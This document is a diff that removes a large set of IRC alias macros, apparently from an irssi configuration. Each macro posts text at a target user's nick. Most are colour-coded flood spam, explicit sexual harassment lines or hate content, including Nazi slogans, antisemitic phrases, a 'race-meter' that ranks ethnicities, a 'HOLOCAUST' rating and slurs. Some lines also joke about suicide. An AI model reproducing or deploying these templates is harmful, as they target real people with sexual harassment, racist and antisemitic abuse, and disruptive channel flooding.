-  viva1 = "say \0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOM";
-
-  viva2 = "say \0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCO";
-
-  viva3 = "say \00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT";
-
-  viva4 = "say \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 ";
-
-  whalevag = "say \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE";
-
-  doganus = "say \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS";
-
-  colon = "say \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON ";
-
-  cake = "say \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4";
-
-  labia = "say \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,1";
-
-  sore = "say \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED";
-
-  white = "say \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF T";
-
-  ziegh = "say \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038";
-
-  jizz = "say \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICK";
-
-  sperm = "say \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM ";
-
-  rocket = "say \0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED RO";
-
-  rocket2 = "say \0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKE";
-  # }}}
-  # {{{|- <3 <3 <3
-  need = "say $*: I LOVE YOU\\; $*: WHERE ARE YOU\\; $*: I NEED YOU";
-  fire = "say $*: girl i will pound that shit in 4/4 time while the sounds of ludwin van beethoven ring in our ears, sending us to  the next level of ecstacy";
-  fire2 = "say $*: girl i will \"sonata\" that pretty pink clit while amadeus mozart enchants us with his sweet seductive melodies";
-  fire3 = "say $*: girl i will lick that pussy in d minor while the haunting sounds of strauss push you into rhythmic orgasm";
-  fire4 = "say $*: girl i will play with those nipples gently like tchaikovsky played the sweet melodies on grand piano";
-  fire5 = "say $*: girl i will caress u gently and ease all your fears as bobby mcfarin sings \"dont worry, be happy\"";
-  love = "say \0039 I always lose control when $* is by my side. You have become the light of my life. I always enjoy the time I spend with you. Because nothing makes me feel the way you do. I think I'm falling in love with $* ... ";
-  love2 = "me grabs $*, spins $* around and gives $* the softest sweetest kiss $* has ever had!!! :) ";
-  love3 = "me \0030oO\0039Oo\0030O\0039OoO\0030Oo\0039oO\0030Oo\0039Oo\0030oO\0039Oo\0030oO\0039Oo \0034Let's \0030PLAY \0034army! \0030You \0034lay down  \0030$* \0030oO\0039Oo\0030o\0039OoO\0030Oo\0039Oo\0030oO\0039Oo\0030oO\0039Oo\0030oO\0039Oo\003 \0034and I'll \0030FUCK \0034the hell out of YoU! \0030oO\0039Oo\0030o\0039OoO\0030Oo\0039oO\0030Oo\0039oO\0030Oo\0039oO\0030Oo\0039oO \00313o ";
-  love4 = "me \0034<$nick>\003 \0039grabs  \0034<$*>  \0039wrips of his clothes.As he lies back with \0034<$*> \0039legs straddling his face,  \0034<$*>  \0039delivers the earth shattering blowjob of the centuary between  \0034<$*>  \0039legs";
-  love5 = "me  \00312$* Yo\0030u can put a sm\00314ile on my face, o\00311r you can p\00312ut your c\00314um all ov\0030er it \00311!";
-  love6 = "me \00312FuCk My MoUtH WiTh YoUr CoC\00314k $* WhiLe I Wa\0030Nk Myself Wi\00311Th My Han\0030d";
-  heartiez = "say \0034<3 @\0033-\\;-- \0034 HEARTIES <3<3<3 @\0033-\\;--\003 \002$*\002 \0034<3<3<3<3  ";
-  # }}}
-  # {{{|- meters
-  racem = "say race\00314-\0030o\00314-\003meter for \002$*\002\037:\037 \0030[\0035||\00314||||||||||||\0030]   \0035\037CROAT/LATVIAN/ROMANIAN";
-  racem2 = "say race\00314-\0030o\00314-\003meter for \002$*\002\037:\037 \0030[\00311||||||||||||||\0030]   \00311\037NORD";
-  dissm = "say diss\00314-\0030o\00314-\003meter for \002$*\002\037:\037 \0030[\0035|\00314|||||||||||||\0030]   \002\037\0035OPTIX SLICE";
-  dslm = "say route-metric\00314-\0030o\00314-\003meter for \002$*s DSL\002\037:\037 \00314[\0034||||||||||||||\00314]   \002\037\0034BELKIN'";
-  dslm2 = "say route-metric\00314-\0030o\00314-\003meter for \002$*s DSL\002\037:\037 \00314[|\0039|\003|\0034|| ||\0038|\003|||\0033|\003|\00314]   \002\037\0034SPIC ROUTING (NOT WORKING AT ALL)";
-  blogm = "say blog\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \00314(Unable to display\00314)\003   \0034\037JAX";
-  ohsixm = "say \\;]\00314-\0030o\00314-\003meter for \037$*\037: \0030[\0035\\;\\;\0034\\;\\;\0037\\;\\;\0038\\;\\;\0033\\;\\;\0039\\;\\;\0030]    \0030\037\\;]";
-  ohsixm2 = "say \\;]\00314-\0030o\00314-\003meter for \037$*\037: \0030[              \0030]    \0030\037\\;[";
-  ohsixm3 = "say announce\00314-\0030o\00314-\003meter for \002$*, talking about going to sleep\002\037:\037 \0030[\0039||\0033||\0037||\0038|\00314|||||\0030]\003    \0038\037OHSIXIN' ALRIGHT";
-  ohsixm4 = "say announce\00314-\0030o\00314-\003meter for \002$*, talking about going to sleep\002\037:\037 \0030[\0039||\0033||\0037||\0038||\0035||\00314||\0030]\003    \0035\037TRYING TO TALK WITH BOTS";
-  general11 = "worth\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \0030[\00314||||||||||||||\0030]   \00314\037BLOG";
-  worthm = "say worth\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \0030[\0034|\00314|||||||||||||\0030]   \0034\037OPEN SORES";
-  melonm = "say melon\00314-\0030o\00314-\003meter for \002$*\002\037:\037 \00314[\0035|\0034|\0033|\0039|\0033|\0034|\0035|\0034|\0033|\0039|\0033|\0034|\0035|\0034|\00314]   \002\037\0034WATER MELON";
-  carem = "say care-meter\037:\037 \00314[\0035....\0034..\0037..\0038..\0033..\0039..\00314]\003   \003140%";
-  suicidem = "say suicide-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034||||\00314]\0034||||\003\002Segm\0034|\003n\0034|\003ation\0034|\003fault";
-  crym = "say Cry-Meter for \037$*\037: \0030[\00311||||||||||||||\0030]\003   \00311\037WAAAAAAAAAAAAAAAAAAAAH";
-  bustm = "say bust\00314-\0030o\00314-\003meter for \037$*\037: \0030[\0039||\0033||\0037||\0038||\0035||\0034||\0030]\003  \002\037COLD BUSTED";
-
-  ragem1 = "say rage-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034||||\00314]   \002\037\0034HARD RAGE";
-  ragem2 = "say \0030,1 $* MADNESS LEVEL [                \0030,1 ] what the fuck? CALM AND PEACEFUL;say \0030,1 $* MADNESS LEVEL [\0039===-            \0030,1 ] RELAXED;say \0030,1 $* MADNESS LEVEL [\0039====\0038===-        \0030,1 ] NOT SO ANGRY;say \0030,1 $* MADNESS LEVEL [\0039====\0038====\0037===-    \0030,1 ] ANGRY AT YOU LOLF;say \0030,1 $* MADNESS LEVEL [\0039====\0038====\0037====\0034===--\0030,1]\0034-OFF DA SCALE LOL (buffar overrun)";
-  ragem3 = "say rage-meter for \002$*\002\037:\037 \00314[\0039||||||||||||||\00314]   \002\037\0039HULKIN'";
-  ragem4 = "say rage-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034|||||||||||||||||||\00314]   \002\037\0034RAGED ON THE FLOOR LAUGHING";
-  ragem5 = "say rage-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034|||||||||||||||||||\00314]   \002\037\0034RAGED ON THE FLOOR LAMENTING";
-  ragem6 = "say rage-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034||||||||||||||||\00314]   \002\037\0035CRITICAL \0034MELTDOWN";
-  ragem7 = "say rage-meter for \002$*\002\037:\037 \00314[\0039by\0033e \0038vx\0037p.\00314]   \002\037\0039SUPER-RAGE";
-  ragem8 = "say rage-meter for \002$*\002\037:\037 \00314[\0034||||||||||||||||||||||\00314]   \037\0039SUPER-\0033HULKIN' \0038ROID \0037RAGE ";
-  ragem9 = "say rage-meter for \002$*\002\037:\037 \00314[\00313||||||||||||||\00314]   \002\037\00313QT-RAGE";
-
-  funnym1 = "say lolometer for \037$*\037\00314||||||||||||\0030[\00314            \0030]    \00314\037THECATMAN\037\003";
-  funnym2 = "say lolometer for \037$*\037's comment: \0030[\00314| | || |  | \0030]    \00314\037UTHERE\037\003";
-  funnym3 = "say lolometer for \037$*\037's comment: \0030[\00314||||||||||||\0030]    \00314\037DIKDIK\037\003";
-  funnym4 = "say lolometer for \037$*\037's comment: \0030[\0035|\00314|||||||||||\0030]    \0035\037FAMILY CIRCUS\017";
-  funnym5 = "say lolometer for \037$*\037's comment: \0030[\0035||\00314||||||||||\0030]    \0035\037PENNYARCADE\037\003";
-  funnym6 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034|\00314|||||||||\0030]\003    \0034\037MEGATOKYO\037\003";
-  funnym7 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034||\00314||||||||\0030]\003    \0034\037;]\037\003";
-  funnym8 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034||\0038|\00314|||||||\0030]\003    \0037\037ABUSE\037\003";
-  funnym9 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034||\0038||\00314||||||\0030]\003    \0037\037TROLLIN'\037\003";
-  funnym10 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034||\0038||\0037|\00314|||||\0030]\003    \0038\037RUINATION\037\003";
-  funnym11 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034||\0038||\0037||\00314||||\0030]\003    \0038\037SCROLL\037\003";
-  funnym12 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034||\0038||\0037||\0033||\0039|\00314|\0030]\003    \0039\037HOLOCAUST\037\003";
-  funnym13 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034||\0038||\0037||\0033||\0039||\0030]    \0038,0/!\\\\\003 \0039FLEIGENDEKINDERSCHEISSEUNDICHBEINUNENBALLENPINKENTRIENGLENSUBERALLESACHTUNGJUDEN\003 \0038,0/!\\\\";
-  qtm = "say qt\00314-\0030i\00314-\003meter for \037$*\037: \0036[\00313||||||||||||\0036]    \00313\037J\0036A\00313C\0036KS\00313O\0036N\00313B\0036R\00313O\0036W\00313N";
-  # }}}
-
-  # {{{|- ahhahAHAHAHAHHAHAA 
-  twun = "say $*: yuhu undu zionistbane yr boy got thrown into a jealous rage and +b'd on zionist pretenses that i'm antijewsistan.";
-  twun2 = "say $*: razing beast like an undead vet. caint sleep thru th' trama cuz thz draumuhuhrests. az thu wurld burnz the zip cunnex-- my bitch/yr gums-- num? watsh th shit baalinse chex. revolv th 4d4 n  bmayb por out yr bexx. the cylinder wuz spun / yir aimnyin at yr temple-- rulett.";
-  twun3 = "say $*: i mean i ain't all hu hu hu hu bt it dznt mean i can't write shit abt it. maybe that verse is homo idnt know. i guess i should keep that srs bullshit t the fifth n the jm47 if that i dnt  no mb its wack";
-  twun4 = "say $*: i had mzgd u w thoze trackz on zshare w the hypergay freestyl n pac talkinh shit abt $N, u no tho stop ribbing 7^8 my pussyz sprewellin' 4 vxp sumtimes tho tru";
-  twun5 = "say man fuck $C. i was just minding my $ txtmsging them a allah-blessed verse which threw $* into a jealous rage just blogging my own *& and then he +b'd me on zionist pretenses that i'm antijewsistan";
-  twun6 = "say $*: ay no disrespect yr flows got substnc/dope. neway i'm dun sucking dick. 2dlz. dnt drop me plz";
-  twun7 = "say $*: better get yoself a shell, huh fgz fgz i'm bip n i h8 myself n i wnt 2 die RAGE ARAGE ARAGIN NIGHT ARGUIN MY NIGHT NOT PLZ 2 NOT HAVE BNAGWIDTH";
-  twun8 = "say $*: AKZ PZSPRAYZ FUCK Y'UP ALL DAY GOT VOYSEZ N MY HED TELN ME AYAINT DED, COCKING GUN TTONGUE N LIPS PLAYN CUZ AYE AINT FED";
-  twun9 = "say $*: HEH $*4tlal halfdelivery thot u wr tlkng bt food, $* ftlie leo like big A 8^7 p'z not evn tryn t trill on 'y HEH wrd pz stp msg m i cnt evn undrst u";
-  twuna = "say $*: my bearel turnz yr figure turnin / y'got allaht t'learn'n / u c my magnumz burnin' / cenchur Eez l8r watch yr fundz turn off seven d sev'n d sixxen i'm co d heartlis like vixen";
-  twunb = "say $*: watch where u put yr dick in. BITCH figure i'm bangin dow jonez soft;say ^ ftdrop;say             ^ ftdrop;say                               ^wack ftdrop";
-  twunc = "say $*: u no imu bbz itz late n aint no1 arround 2 spk 2 o p all loansum n waitin on his o g. i ttul dunnyz. luv frum tha 3rd";
-  twund = "say $*: bitch my barrelz line-n. u kathy-carolinin' comic ho u no my gunz show-off HEH STOP PCKTNG MAY FX U SUN ND 2 DL PHOTOBUCKET 4 DVD INTROPAYG";
-  twune = "say $*: trade u naked sno whyte french art fgty 4 the no-packet 10 minutez hollin @ u.";
-  twunf = "say $*: FX U VX U STOP RIGHT THIS MINUTE MR. R ELSE I WNT GIV U MOR NKKD FRENCH PIX U STOP VAP0R N C0RRPHGT OR I WILL CALL UR ISP";
-  twung = "say $* taddle fux dat batti boi n my avis wont decode like sujm gay bitchez SKWA BURNIN UP CUZ WE HA AZ A TOASTR";
-  twunh = "say $*: u soft dude. i was walkin around the mag with a 12 gauge stashed in my pant leg n a mack truck rode up on my real fast and hit me but dat boy hit me right in the barrel u the 12. i was limpin f three months but it rly wznt shit yheard";
-  # }}}
-
-  # {{{|- alchy on meth^W^W
-  alchy = "say \002\037\00313(+)\0034(+)\00313(+)\003\002\037\0032,8H\0033,8E\0034,8Y \002\0035,8I\0036,8D\0037,8I\0039,8O\00310,8T\00311,8\002 \00312,8W\00313,8O\00314,8U\0032,8L\0033,8D\0034,8 Y\0035,8O\0036,8U\0037,8 L\0039,8I\00310,8K\00311,8E\00312 \002F\00313,8R\00314,8E\0032,8N\0033,8C\0034,8H\0035,8 C\0036,8R\0037,8I\0039,8E\00310,8S\002 \00311,8W\00312,8I\00313,8T\00314,8H\0032,8 Y\0033,8O\0034,8U\0035,8R\0036,8 \002W\0037,8A\0039,8A\00310,8A\00311,8A\00312,8H\00313,8M\00314,8B\0032,8U\0033,8R\0034,8G\0035,8E\0036,8R\002\003\002\037\00313,8(+)\0034,8(+)\00313,8(+)";
-  alchy2 = "say \0035^\00312*\00312-\00313.\0037,\0036.\0034-\0033 \00313 \002im \00310having \0035a\002 \002B\002\037 \037L \002A\002\037 \037S \002T\002\037 \037Y B\002\037 \037L\002 A\037 \037\002S\002\037 \037T \0033\0034-\0036.\0037,\00313.\00312-*\0035^";
-  alchy3 = "say \002\0032~\0033-\0034~\0035-\0036=\0037(\0038G\0039e\00310T \00311S\00312o\00313M\00313e \00314K\00315r\0032u\0033N\0034k \0035I\0036n \0037Y\0038o\0039U\00310r \00311S\00312y\00313S\00314t\00315Em\0037)\0036=\0035-\0034~\0033-\0032~";
-  alchy4 = "say \002\0032you \0030,1 ... \0032,7 are \0030,1 ... \00312,13P\00314,9I\003\00311,6S\00310,0S\0035,3S\0038,4S\0031,8S\00315,5S\00313,1S\0037,14E\00315,3D\003\0038,2!!@#@!#$#@$@";
-  alchy5 = "say \002\00312(\00313,9~\00312,4)\002\002\0034,12||\0037,9||\0034,12|| \00312,4(\00313,9~\00312,4)\0032,7 L\0034,7A\0035,7T\0036,7E \0035,9\037L\0036,9A\0032,9T\0038,9E\037 \0032,7 L\0034,7A\0035,7T\0036,7E \00310,5L\0037,5A\0039,5T\00312,5E \0036,13\037L\0037,13A\0033,13T\00314,13E\037 \00310,5L\0037,5A\0039,5T\00312,5E \00312,4(\00313,7~\00312,4)\0034,12||\0037,13||\0034,12||\00312,4(\00313,7~\00312,4)";
-  alchy6 = "say \0039,4o\037M\037f\002g\003\037\00313,5 \003\037\00315,7u FAG\003\037\0032,1 \003\0034,12nEW\003\002\0036,9bIE\002s\003\00313,8 \003\037\0038,13KeE\003\0032,6p Th\003\00311,4E P\003\0033,5Rac\003";
-  alchy7 = "say \0037|\0034,7|\0035,8|\0036,8 \002E\0033n\0034G\0035L\0037i\0036S\0039H \00314M\00313O\00314T\0034H\0033A\0034F\0037U\0033C\0034K\0035A \00313::\0034 DO YOU SPeAK iT!? \0035,8|\0034,7|\0037,4|";
-  alchy8 = "say \0034,8CHZBRGRZ\0038,4CHZBRGRZ\0034,8CHZBRGRZ\0038,4CHZBRGRZ\0034,8CHZBRGRZ\0038,4CHZBRGRZ\0034,8CHZBRGRZ\0038,4CHZBRGRZ\0034,8CHZBRGRZ\0038,4CHZBRGRZ";
-  alchy9 = "say \0038C\0031,8a\0038,1U\0031,8t\0038,1i\0038,1O\0031,8N\0038,1!\0031,8\003\0034 DRIVE BY \017 \0034,5~~\0037~~\0038~ \0034BURNED \0038~\0037~~\0034~~\017\017\017\017\017\017\017\0038,1C\0031,8a\0038,1U\0031,8t\0038,1i\0038,1O\0031,8N\0038,1!\0031,8";
-  alchya = "say \002\0034I'm \037\00312,5LoLin\037 \0034,5on the \037\0037,3I\0035,2N\0034,1T\00313,10E\0039,6R\0038,5N\00312,9E\00311,8T!\037\002\0034,5^_^";
-  alchyb = "say \0034,8(\")o_O(\") MOGGA ASSAULTED!@!! (\")o_O(\") \002\037\0035/\0034~\0035 BOOM!~@~!!! \0035/\0034~\0035\\";
-  alchyc = "say \00313,13L\017\00313,13LOL\017\00313,13L\017\00313,13t;say \00313,13O\017\00313,13O\017\00313,13O\017\00313,13O\017\00313,13x; say \00313,13LOL\017\00313,13LOL\017\00313,13LOL\017 \00313\00313 \002Gay-Meter for #null \002[||||||||||||||]\017";
-  alchyd = "say \00315 \002\00312!(!)*(@#()@(*)@)*\0034 HAVe YoU haD YouR GLASS oF\0037 FOgLeTIne \0034TODAy ??! \00312*(@(*)@()#@)*(!)!";
-  alchye = "say \002\0032L\0034,9OL\037\0032,11OL\0034,6\037\002\0038,7OO\0033,5L\002O\002\037LO\00312,8L\037OLO\00310,4LO\0038,5\002LO\037L\0036,11O\037 I\0034,7\002N\002 \037\00312,9U\0032,9R B\00310,6I\037G \002\0031,11\002F\003\00312,13AT\0037,6 M\00315,5\002OU\002\0039,6T\037H";
-  alchyf = "say \0030,11\002\0032~~\0037~~\0038~ \0032FROZENED \0038~\0037~~\0034~~";
-  alchyg = "say \0037,8C\0038,7H\0037,8Z\0038,7B\0037,8U\0038,7R\0037,8G\0038,7E\0037,8R\0038,7C\0037,8H\0038,7Z\0037,8B\0038,7U\0037,8R\0038,7G\0037,8E\0038,7R\0037,8C\0038,7H\0037,8Z\0038,7B\0037,8U\0038,7R\0037,8G\0038,7E\0037,8R\0038,7C\0037,8H\0038,7Z\0037,8B\0038,7U\0037,8R\0038,7G\0037,8E\0038,7R\0037,8C\0038,7H\0037,8Z\0038,7B\0037,8U\0038,7R\0037,8G\0038,7E\0037,8R";
-  # }}}
